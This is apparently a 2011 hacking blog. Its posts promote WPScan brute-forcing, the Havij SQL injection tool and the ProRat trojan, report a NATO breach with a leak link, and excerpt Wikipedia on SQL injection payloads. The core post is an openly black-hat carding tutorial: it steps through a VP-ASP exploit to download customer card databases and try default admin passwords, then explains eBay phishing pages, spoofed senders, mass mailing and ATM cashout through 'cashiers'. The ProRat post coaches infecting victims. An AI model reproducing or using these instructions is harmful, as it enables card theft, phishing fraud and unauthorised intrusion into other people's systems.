Wednesday, August 24, 2011

Wordpress Security Vulnerability

WPScan is a black box WordPress Security Scanner written in Ruby which attempts to find known security weaknesses within WordPress installations. Its intended use it to be for security professionals or WordPress administrators to asses the security posture of their WordPress installations.

Download

Features include:


Username enumeration (from author querystring and location header)
Weak password cracking (multithreaded)
Version enumeration (from generator meta tag)
Vulnerability enumeration (based on version)
Plugin enumeration (2220 most popular by default)
Plugin vulnerability enumeration (based on version)
Plugin enumeration list generation
Other misc WordPress checks (theme name, dir listing, ...)

WPScan will be hosted on Google Code at http://code.google.com/p/wpscan/. You can download and start running WPScan ALPHA by checking out the SVN trunk. “svn checkout http://wpscan.googlecode.com/svn/trunk/ wpscan-read-only”
Installation

WPScan requires two non native Ruby gems, typhoeus and xml-simple. It should work on both Ruby 1.8.x and 1.9.x.

Installing on Backtrack5 Gnome/KDE 32bit:
sudo apt-get install libcurl4-gnutls-dev
sudo gem install --user-install mime-types
sudo gem install --user-install typhoeus
sudo gem install --user-install xml-simple

Installing on Debian/Ubuntu:
sudo apt-get install libcurl4-gnutls-dev
sudo apt-get install libopenssl-ruby
sudo gem install typhoeus
sudo gem install xml-simple

Installing on other nix: (not tested)
sudo gem install typhoeus
sudo gem install xml-simple

Installing on Windows: (not tested)
gem install typhoeus
gem install xml-simple

Installing on Mac OSX: (not tested)
sudo gem install typhoeus
sudo gem install xml-simple
Usage

-h for further help.

Examples:

Quote: Do 'non-intrusive' checks...
ruby wpscan.rb --url http://www.example.com

Only do version enumeration...
ruby wpscan.rb --url http://www.example.com --version

Do wordlist password brute force on enumerated users using 50 threads...
ruby wpscan.rb --url http://www.example.com --wordlist darkc0de.lst --threads 50

Do wordlist password brute force on the 'admin' username only...
ruby wpscan.rb --url http://www.example.com --wordlist darkc0de.lst --username admin

Generate a new 'most popular' plugin list, up to 150 pages...
ruby ./wpscan.rb --generate_plugin_list 150

Enumerate installed plugins...
ruby ./wpscan.rb --enumerate p

See README for further information.





Licence

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/>.

NATO Server Hacked by 1337day Inj3ct0r and Backup Leaked !

Team Inj3ct0r ( 1337day ) claim to hack Apache Tomcat Version 5.5.9 of NATO. The North Atlantic Treaty Organization or NATO also called the (North) Atlantic Alliance, is an inter governmental military alliance based on the North Atlantic Treaty.


They Leak a Backup of Random 2,646 files from Server as Proof of Hack . The archive uploaded by hackers is available at http://www.mediafire.com/?s2chp1v2jqsf52z .



We talk to Team Inj3ct0r about this hack They said :
1.) The Reason of Hacking is "Nuclear weapons. its development and financing"
2.) They hack Tomcat 5.5 Server using 1337day privat exploit (0day) .
3.) They get the root privilege to the Server.
4.) They are able to Deface the website of NATO also, but they will not do this. They have just take the backup of server and trying to distribute that on Internet.

http://www.thehackernews.com/2011/07/nat...3ct0r.html

Havij V 1.15

I just formated my pc and I started downloading tools and guess what,
Download
Havij 1.15 has been released !

screen shot:
[Image: 03072011042035.png]


Few things that has been changed: (from what I noticed ..)

1. In the MD5 Hash decrypting tab, milw0rm.com has been removed because the website is no longer active.
2. The GUI has been changed 'lil bit.
3. More features added.
4. More stable.


Description:

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.

The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.


What's New?

Webknight WAF bypass added.
Bypassing mod_security made better
Unicode support added
A new method for tables/columns extraction in mssql
Continuing previous tables/columns extraction made available
Custom replacement added to the settings
Default injection value added to the settings (when using %Inject_Here%)
Table and column prefix added for blind injections
Custom table and column list added.
Custom time out added.
A new md5 cracker site added
bugfix: a bug releating to SELECT command
bugfix: finding string column
bugfix: getting multi column data in mssql
bugfix: finding mysql column count
bugfix: wrong syntax in injection string type in MsAccess
bugfix: false positive results was removed
bugfix: data extraction in url-encoded pages
bugfix: loading saved projects
bugfix: some errors in data extraction in mssql fixed.
bugfix: a bug in MsAccess when guessing tables and columns
bugfix: a bug when using proxy
bugfix: enabling remote desktop bug in windows server 2008 (thanks to pegasus315)
bugfix: false positive in finding columns count
bugfix: when mssql error based method failed
bugfix: a bug in saving data
bugfix: Oracle and PostgreSQL detection

Hacking with Prorat

PRORAT is a powerfull remote administrator tool(RAT) or you can say it Trojan. ProRat was written in C++ programming language and its capable to work with all windows operating systems.

To make process and connect to a PC with ProRat v2.0 you must create a server with your own properties by using the client. Send the server to the PC' you want to connect and be sure that he opened the server. IP address, port number and server password will be sent to the notification address you set when creating the server. Write all of the information we sent you to the client and then Click on the "Connect" button. You will be connected to the server. if you want to logoff from the server click on the "Disconnect" button.
All kind of user problems with PRORAT you can solve in http://www.prorat.net/forum 

You can use prorat for a legel connection and for a hacking purpose.
Tips which can help you when connecting through prorat.
To connect to a PC with ProRaT client the server should not have to be directly connected to internet. so if the PC is behind a network and has a IP address like “192.168.0.* or if its behind a Router and has a IP like “10.*.*.* you will beable to connect with PRORAT, you must be a Special Edition user to do this process. Public Edition users can not use reverse connection to connect to PC 's behind networks and routers. You can only use Reverse Connection feature which you can connect to PC's which are behind networks and routers in PRORAT SPECIAL EDITION.
PRORAT will not send any keylogg files or any passwords to your email address. PRORAT is a "ProHack Remote Administrator Tool" you can only get the keylogg files and passwords you want to learn by connect to the victims PC.
You can connect to all PC in your country and other country’s as well. If the victim is connected to internet this will be enough.
If you cant connect to a victim this doesn’t mean that you cannot connect to all victims. Please try new victims and you will see that it will connect. If you still cant connect to a victim after trying few times read the help file and try to find where you are making a mistake and feel free to ask us questions if you still have problems.
If your or your victims PC is being forced to closing after you started PRORAT server or ProConnective this is not PRORAT fault because some kind of worm virus like msblast can infiltrate to PC which doesn’t have security patches. PRORAT will close the Firewall (optional) and this will give a chance to this kind of worms to infiltrate and close systems. To take measures please read the help file and you will see links to download patch files.
If you try to make PRORAT server undetectable to AntiVirus the PRORAT will not connect to the server. If you want a server which is undetectable from AntiVirus you must buy PRORAT SPECIAL EDITION,
If you didn’t try to change server and you still get a connection reject message, possibly the server wasn’t installed properly to the victims PC.

You can download it from here or mail me
 
DISCLAIMER: Installing trojan on others computers you do not own or do not have permission to monitor. may violate local, state or federal law.
Spying other people's activities or breaking into other people's computer without their permission can be considered illegal by the courts of many countries. The software reviewed here is ONLY for authorized system administrators and/or owners of computers. We assume no liability and are not responsible for any misuse or damage caused by the software. The end user of this software is obliged to obey all applicable local, state, federal and other laws in his country of residence. Every tutorial is for educational purpose only.

Friday, August 19, 2011

How to Hack Credit Card Password

Hi there. This is my first serious "Black Hat Hacking" post of credit cards hacking. Here will be explained all methods used to hack credit cards and bank accounts with lots of $ it. Now I?m sure most of you think that this is fake or scam, but i want to just tell u this is real and the only working method (in my opinion) to hack a credit card and make your wish come true (lol, hope it doesn't sound like a commercial).[hackinghome.com]
This tutorial is divided in two parts.
  1. Introduction into Credit Cards
  2. Credit card Hacking

Note: Hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial. This post is for educational purposes only.  Lets start with some easy terms.
What is credit card ?
Credit cards are of two types:

  • Debit Card
  • Credit Card
1. Debit means u have a sum of amount in it and u can use them.
2. Credit means u have a credit line limit like of $10000 and you can use them and by the end of month pay it to bank.
To use a credit card on internet u just not need cc number and expiry but u need many info like :
  • First name
  • Last name
  • Address
  • City
  • State
  • Zip
  • Country
  • Phone
  • CC number
  • Expiry
  • CVV2 ( this is 3digit security code on backside after signature panel )
If you get that info you can use that to buy any thing on internet, like software license, porn site membership, proxy membership, or any thing (online services usually, like webhosting, domains).
If u want to make money $ through hacking then you need to be very lucky? you need to have a exact bank and bin to cash that credit card through ATM machines.
Let me explain how ?
First study some simple terms.
BINS = first 6 digit of every credit card is called "BIN" (for example cc number is : 4121638430101157 then its bin is "412163"), i hope this is easy to understand.
Now the question is how to make money through credit cards. Its strange?, well you cant do that, but there is specific persons in world who can do that. They call them selves "cashiers". You can take some time to find a reliable cashiers.
Now the question is every bank credit cards are cashable and every bin is cashable? Like Citibank, Bank of America , Mbna .. are all banks are cashables ? Well answer is "NO". If u know some thing, a little thing about banking system, have u ever heard what is ATM machines? Where u withdraw ur cash by putting ur card in.
Every bank don't have ATM, every bank don't support ATM machines cashout. Only few banks support with their few bins (as u know bin is first 6 digit of any credit / debit card number), for suppose bank of america. That bank not have only 1 bin, that bank is assigned like, 412345 412370 are ur bins u can make credit cards on them. So bank divide the country citi location wise, like from 412345 ? 412360 is for americans, after that for outsiders and like this. I hope u understand. So all bins of the same bank are even not cashable, like for suppose they support ATM in New York and not in California, so like the bins of California of same bank will be uncashable. So always make sure that the bins and banks are 100% cashable in market by many cashiers.
Be sure cashiers are legit, because many cashiers r there which take your credit card and rip u off and don't send your 50% share back.
You can also find some cashiers on mIRC *( /server irc.unixirc.net:6667 ) channel : #cashout, #ccpower
Well, check the website where u have list of bins and banks mostly 101% cashable. If u get the credit card of the same bank with same bin, then u can cashout otherwise not . Remember for using credit card on internet u don't need PIN ( 4 words password which u enter in ATM Machine ), but for cashout u need. You can get pins only by 2nd method of hacking which i still not post but i will. First method of sql injection and shopadmin hacking don't provide with pins, it only give cc numb cvv2 and other info which usually need for shopping not for cashing.
Credit Card Hacking
CC (Credit Cards) can be hacked by two ways:
  • Credit Card Scams ( usually used for earning money , some times for shopping )
  • Credit Card Shopadmin Hacking ( just for fun, knowledge, shopping on internet )
1. Shopadmin Hacking
This method is used for testing the knowledge or for getting the credit card for shopping on internet, or for fun, or any way but not for cashing ( because this method don?t give PIN - 4 digit passcode ) only gives cc numb , cvv2 and other basic info.
Shopadmins are of different companies, like: VP-ASP , X CART, etc. This tutorial is for hacking VP-ASP SHOP.
I hope u seen whenever u try to buy some thing on internet with cc, they show u a well programmed form, very secure. They are carts, like vp-asp xcarts. Specific sites are not hacked, but carts are hacked.
Below I?m posting tutorial to hack VP ASP cart. Now every site which use that cart can be hacked, and through their *mdb file u can get their clients "credit card details", and also login name and password of their admin area, and all other info of clients and comapny secrets.
Lets start:
Type: VP-ASP Shopping Cart
Version: 5.00
How to find VP-ASP 5.00 sites?
Finding VP-ASP 5.00 sites is so simple?
1. Go to google.com and type: VP-ASP Shopping Cart 5.00
2. You will find many websites with VP-ASP 5.00 cart software installed
Now let's go to the exploit..
The page will be like this: ****://***.victim.com/shop/shopdisplaycategories.asp
The exploit is: diag_dbtest.asp
Now you need to do this: ****://***.victim.com/shop/diag_dbtest.asp
A page will appear contain those:
  • xDatabase
  • shopping140
  • xDblocation
  • resx
  • xdatabasetypexEmailxEmail NamexEmailSubjectxEmailSy stemxEmailTypexOrdernumber
Example:
The most important thing here is xDatabase
xDatabase: shopping140
Ok, now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb
If you didn?t download the Database, try this while there is dblocation:
xDblocation
resx
the url will be: ****://***.victim.com/shop/resx/shopping140.mdb
If u see the error message you have to try this :
****://***.victim.com/shop/shopping500.mdb
Download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com, or use MS Office Access.

Inside you should be able to find credit card information, and you should even be able to find the admin username and password for the website.
The admin login page is usually located here: ****://***.victim.com/shop/shopadmin.asp
If you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all, then try to find the admin login page and enter the default passwords which are:
Username: admin
password: admin
OR
Username: vpasp
password: vpasp
2. Hacking Through Scams
This method is usually used to hack for earning money. What happens in this method is you create a clone page.
Target: its basically eBay.com or paypal.com for general credit cards, or if u want to target any specific cashable bank like regionbank.com then u have to create a clone page for that bank.
What is eBay.com?
Its a shopping site world wide which is used by many of billion people which use their credit cards on ebay. What you do make a similar page same as eBay and upload it on some hosting which don?t have any law restrictions, try to find hosting in Europe they will make your scam up for long time, and email the users of eBay.
How to get the emails of their users?
Go to google.com and type "Email Harvestor" or any Email Spider and search for eBay Buyers and eBay Sellers and u will get long list. That list is not accurate but out of 1000 atleast 1 email would be valid. Atleast you will get some time.
Well u create a clone page of ebay, and mail the list u create from spider with message, like "Your account has been hacked" or any reason that looks professional, and ask them to visit the link below and enter your info billing, and the scam page have programming when they enter their info it comes directly to your email.
In the form page u have PIN required so u also get the PIN number through which u can cash through ATM ..
Now if u run ebay scam or paypal scam, its up to your luck who's your victim. A client of bank of america or of citibank or of region, its about luck, maybe u get cashable, may be u don't its just luck, nothing else.
Search on google to download a scam site and study it !
After you create your scam site, just find some email harvestor or spider from internet (download good one at Bulk Email Software Superstore - Email Marketing Internet Advertising) and create a good email list.
And you need to find a mailer (mass sending mailer) which send mass - emails to all emails with the message of updating their account on ur scam page ). In from to, use email eBay@reply3.ebay.com and in subject use : eBay - Update Your eBay Account and in Name use eBay
Some Instructions:
1. Make sure your hosting remains up or the link in the email u will send, and when your victim emails visit it, it will show page cannot be displayed, and your plan will be failed.
2. Hardest point is to find hosting which remains up in scam. even i don?t find it easily, its very very hard part.
3. Maybe u have contacts with someone who own hosting company and co locations or dedicated he can hide your scam in some of dedicated without restrictions.
4. Finding a good email list (good means = actually users)
5. Your mass mailing software land the emails in inbox of users.
That's all Readers. Hope you will find this tutorial useful. And remember, hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial.

Saturday, July 23, 2011

SQL Injection

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQLstatements or user input is not strongly typed and thereby unexpectedly executed. It happens from using poorly designed query language interpreters.

SQL Injection Attack, abbreviated SQLIA, is a web attacking vector. SQLIA is considered one of the top 10 web application vulnerabilities of 2010 by the Open Web Application Security Project. The attacking vector contains four main sub-classes depending on the technical aspects of the attack's deployment:
  • Classic SQLIA
  • Inference SQL Injection
  • DBMS specific SQLIA
  • Compounded SQLIA
Some security researchers propose that Classic SQLIA is outdated though many web applications are not hardened against them. Inference SQLIA is still a threat, because of its dynamic and flexible deployment as an attacking scenario. The DBMS specific SQLIA should be considered as supportive regardless of the utilization of Classic or Inference SQLIA. Compounded SQLIA is a new term derived from research on SQL Injection Attacking Vector in combination with other different web application attacks as:
  • SQL Injection + Insufficient authentication
  • SQL Injection + DDos attacks
  • SQL Injection + DNS Hijacking
  • SQL Injection + XSS
The Storm Worm is one representation of Compounded SQLIA. A complete overview of the SQL Injection classification is presented in the next figure, Krassen Deltchev in 2010.
This Classification represents the state of SQLIA, respecting its evolution till 2010; further refinement is underway.

Technical Implementations

Incorrectly filtered escape characters

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into an SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application.
The following line of code illustrates this vulnerability
statement = "SELECT * FROM `users` WHERE `name` = '" + userName + "';"
This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as
' or '1'='1
Or using comments to even block the rest of the query (there are three types of SQL comments):
' or '1'='1' -- '
' or '1'='1' ({ '
' or '1'='1' /* '
renders one of the following SQL statements by the parent language:
SELECT * FROM `users` WHERE `name` = '' OR '1'='1';
SELECT * FROM `users` WHERE `name` = '' OR '1'='1' -- ';
If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of '1'='1' is always true.
The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements:
a';DROP TABLE `users`; SELECT * FROM `userinfo` WHERE 't' = 't
This input renders the final SQL statement as follows:
SELECT * FROM `users` WHERE `name` = 'a';DROP TABLE `users`; SELECT * FROM `userinfo` WHERE 't' = 't';
While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP'smysql_query(); function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.

Incorrect type handling

This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:
statement := "SELECT * FROM `userinfo` WHERE `id` = " + a_variable + ";"
It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to
1;DROP TABLE `users`
will drop (delete) the "users" table from the database, since the SQL would be rendered as follows:
SELECT * FROM `userinfo` WHERE `id`=1;DROP TABLE `users`;


Blind SQL injection

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

Conditional responses

One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen.
SELECT `booktitle` FROM `booklist` WHERE `bookId` = 'OOk14cd' AND '1'='1';
will result in a normal page while
SELECT `booktitle` FROM `booklist` WHERE `bookId` = 'OOk14cd' AND '1'='2';
will likely give a different result if the page is vulnerable to a SQL injection. An injection like this may suggest to the attacker that a blind SQL injection is possible, leaving the attacker to devise statements that evaluate to true or false depending on the contents of another column or table outside of the SELECT statement's column list.
SELECT 1/0 FROM `users` WHERE `username`='ooo';

Mitigation


Parameterized statements

With most development platforms, parameterized statements can be used that work with parameters (sometimes called placeholders or bind variables) instead of embedding user input in the statement. In many cases, the SQL statement is fixed, and each parameter is a scalar, not a table. The user input is then assigned (bound) to a parameter. This is an example using Java and the JDBC API:
java.sql.PreparedStatement prep = connection.prepareStatement(
                "SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

Enforcement at the database level

The H2 Database Engine supports the ability to enforce query parameterization. However, query by example may not be possible or practical because it is difficult to implement query by example using parameterized queries.

Enforcement at the coding level

Using object-relational mapping libraries avoids the need to write SQL code. The ORM library in effect will generate parameterized SQL statements from object-oriented code.

Escaping

A straightforward, though error-prone, way to prevent injections is to escape characters that have a special meaning in SQL. This technique is called HTML sanitization The manual for an SQL DBMS explains which characters have a special meaning, which allows creating a comprehensive blacklist of characters that need translation. For instance, every occurrence of a single quote (') in a parameter must be replaced by two single quotes ('') to form a valid SQL string literal. For example, in PHP it is usual to escape parameters using the functionmysql_real_escape_string(); before sending the SQL query:
$query = sprintf("SELECT * FROM `Users` WHERE UserName='%s' AND Password='%s'",
                  mysql_real_escape_string($Username),
                  mysql_real_escape_string($Password));
mysql_query($query);
Routinely passing escaped strings to SQL is error prone because it is easy to forget to escape a given string. Creating a transparent layer to secure the input can reduce this error-proneness, if not entirely eliminate it.

Source: Wikipedia


Friday, July 22, 2011

Google+

Google+ is a invite only service for now as it tries to keep interest among the people to join in and at the same time tries to test out the features with a small number of users. Even thoughGoogle has failed to popularize services like Google Wave or Google Buzz in the past. Despite all these most of the people seem to love the new service and even can’t wait to try it out, as seen on the mashable polls.

As any other major Google launches, Google + (plus) is a invite only and is made available first to people in US and then to the rest after few days. The link provided by google is here but you will need to wait for it..This site was where I got my free Google+ invite, so head over to this link here to get [free invites to Google+]. You will basically get an email invite where you can immediately sign up for an account! Share and post this awesome piece of information to all your friends so everyone can be onGoogle+ First! Remember, this is an exclusive invite only club. Only the coolest can hang out there :p

Shown below is a screenshot of how Google+ will look like. Pretty similar to Facebook yea? Well, thats what many people are comparing Google+ to. Will Google+ take over Facebook? Anything is possible. Never doubt the power of network effects.